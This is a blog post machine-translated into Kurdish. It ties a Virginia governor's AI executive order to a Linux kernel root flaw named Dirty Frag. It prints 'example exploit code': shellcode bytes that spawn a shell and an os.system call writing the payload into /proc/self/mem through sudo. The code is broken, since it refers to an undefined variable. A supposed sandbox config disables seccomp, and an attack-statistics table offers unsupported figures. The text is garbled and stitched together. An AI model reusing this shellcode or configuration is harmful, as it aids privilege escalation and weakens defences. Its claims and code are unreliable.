Waliyê Virginia Rêvebiriya Rêvebiriya AI-ê 6 imze dike: Serdemek Nû ji bo Ewlehiya AI û Gefiya Berdewam ya Xerabbûna Zero-Day Kernel Kernel Dirty Frag | B4N1

Waliyê Virginia Rêvebiriya Rêvebiriya AI-ê 6 imze dike: Serdemek Nû ji bo Ewlehiya AI û Gefiya Berdewam ya Xerabbûna Zero-Day Kernel Kernel Dirty Frag

15 days ago · b4n1 Read time: 3 min

Waliyê Virginia Rêvebiriya Rêvebiriya AI-ê 6 îmze dike: Serdemek Nû ji bo Ewlehiya AI û Gefiya Berdewam ya Xerabbûna Zero-Day Kernel Kernel Dirty Frag

Îmzekirina vê dawîyê ya Rêvebiriya Rêvebir a AI-ê 6 ji hêla Waliyê Virginia Spanberger ve di hewildanên hukûmetê de ji bo çareserkirina fikarên ewlehiyê yên têkildarî AI-ê de demek girîng nîşan dide. Ev rêwerz, ku behsa êrîşên Antropîk FOIA-Agent li ser dewletê dike, hişmendiyek mezin a xetereyên potansiyel ên bi teknolojiyên AI-yê û hewcedariya çalakiya birêkûpêk ve girêdayî destnîşan dike. Wekî pisporên teknolojiyê, girîng e ku meriv bandorên vê rêwerzê û bandora wê ya potansiyel li ser pêşkeftin û bicîhkirina teknolojiyên AI-yê fam bike.

Xetereya Zêdebûna Xemgîniyên Ewlekariya AI-Têkildar

Zêdebûna pejirandina teknolojiyên AI-ê bûye sedema zêdebûna fikarên ewlehiyê. Li gorî [rapora AI Herald] (https://artificialintelligenceherald.com/ai-news-today), hejmara bûyerên ewlehiyê yên girêdayî AI-ê di sala borî de pir zêde bûye, digel ku gelek ji van bûyeran bi êrîşên Antropîk FOIA-Agent re têkildar in. Van êrîşan, ku qelsiyên di pergalên AI-ê de bikar tînin, dikarin encamên wêranker hebin, tevî binpêkirina daneyan û lihevkirina pergalê.

Cûreya Bûyer Hejmara Bûyeran **Zêdebûn ji sala berê **
Êrîşên Antropîk FOIA-Agent 250 300%
Pergala AI-ê lihevhatî dike 150 200%
Binpêkirina daneyan 100 150%

Zêdebûna metirsîdar a êrîşên Anthropic FOIA-Agent, bi zêdebûna 300% di sala borî de, hewcedariya bilez a çalakiyê ji bo çareserkirina van fikarên ewlehiyê destnîşan dike.

Xerabbûna Rojê Zero-Kernelê ya Dirty Frag: Xetereyek Berfireh

Zelalbûna kernelê ya Dirty Frag ji bo belavkirinên Linux-ê xeterek girîng çêdike, ku dihêle bikarhênerên bêdestûr li ser piraniya belavokên Linux-ê bigihîjin root-ya diyarker. Wekî ku di [aşkerekirina Hyunwoo Kim] (https://news.ycombinator.com/item?id=48304227) de tê xuyang kirin, qelsiya Dirty Frag dikare bi karanîna karûbarek hêsan were bikar anîn, ku ew ji bo rêvebirên pergalê û pisporên ewlehiyê dike fikarek giran.

`` python

Nimûne koda îstîsmarê ji bo lawazbûna Dirty Frag

import os

Barkêşana îstîsmarê diyar bikin

barkirin = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Pêvajoyek nû biafirînin û bargiraniyê bicîh bînin

os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))


> 💡 ** Têgihîştina sereke:** Xerabbûna kernelê ya Dirty Frag ji bo belavkirina Linux-ê xeterek girîng çêdike, û rêvebirên pergalê û pisporên ewlehiyê divê tavilê tevdîran bigirin da ku pergalên xwe bişkînin û nûve bikin.

### Girêdana xalan: Rêvebiriya Rêvebiriya AI-ê 6 û Xerabiya Dirty Frag

Îmzekirina Rêvebiriya Rêvebir a AI-ê 6 û hebûna qelsiya kernelê ya Dirty Frag ji nêz ve girêdayî ne. Balkêşiya rêwerz li ser çareserkirina fikarên ewlehiyê yên girêdayî AI-ê bi taybetî di çarçoweya lawazbûna Dirty Frag de têkildar e, ku dikare were bikar anîn da ku pergalên AI-ê lihev bikin. Bi çareserkirina xirapbûna Dirty Frag, pisporên teknolojiyê dikarin bibin alîkar ku xetereyên ku bi fikarên ewlehiyê yên têkildarî AI-ê ve girêdayî ne kêm bikin.

### Kêmkirina Xerabiya Frag a Dirty

Ji bo kêmkirina qelsiya Dirty Frag, rêvebirên pergalê û pisporên ewlehiyê dikarin çend gavan bavêjin, di nav de:

* Dabeşkirin û nûvekirina belavkirinên Linux bi guhertoya herî dawî
* Pêkanîna sandboxên konteyneran û microVM ji bo veqetandina pergalên xizan
* Têketinên pergalê û seyrûsefera torê ji bo nîşanên îstîsmarê kontrol dikin

``yml
# Veavakirina nimûne ji bo sandboxê konteynerê
versiyon: "3"
xizmetên:
  karûbarê xedar:
    wêne: lawaz-image
    konteyner_name: bêhêz-konteyner
    ji nû ve dest pê kirin: herdem
    security_opt:
      - seccomp: bêsînor
    cild:
      - ./vulnerable-data:/data

⚠️ Rîska Mîmarî: Nebûna kêmkirina lawaziya Dirty Frag dikare bibe sedema xetereyên ewlehiyê yên girîng, tevî binpêkirina daneyan û lihevkirina pergalê. Rêvebirên pergalê û pisporên ewlehiyê divê tavilê tevbigerin da ku vê qelsiyê çareser bikin.

Pêşniyarên ji bo Profesyonelên Teknîkî

Ji bo rêveçûna perestgeha tevlihev a fikarên ewlehiyê û qelsiyên girêdayî AI-ê, pisporên teknolojiyê divê:

  • Li ser fikarên ewlehiyê û qelsiyên herî dawî yên têkildarî AI-ê agahdar bimînin
  • Tedbîrên ewlehiyê yên zexm bicîh bînin, di nav de pergalên paçkirin û nûvekirin, û pêkanîna konteynir û sandboxên microVM
  • Têketinên pergalê û seyrûsefera torê ji bo nîşanên îstismarkirinê bişopînin

Bi avêtina van gavan, pisporên teknolojiyê dikarin bibin alîkar ku ewlehî û yekbûna pergalên AI-yê peyda bikin û xetereyên ku bi fikarên ewlehiyê yên girêdayî AI-ê ve girêdayî ne kêm bikin.

Çavkanî

Have Questions?

Let's Talk

Contact me on LinkedIn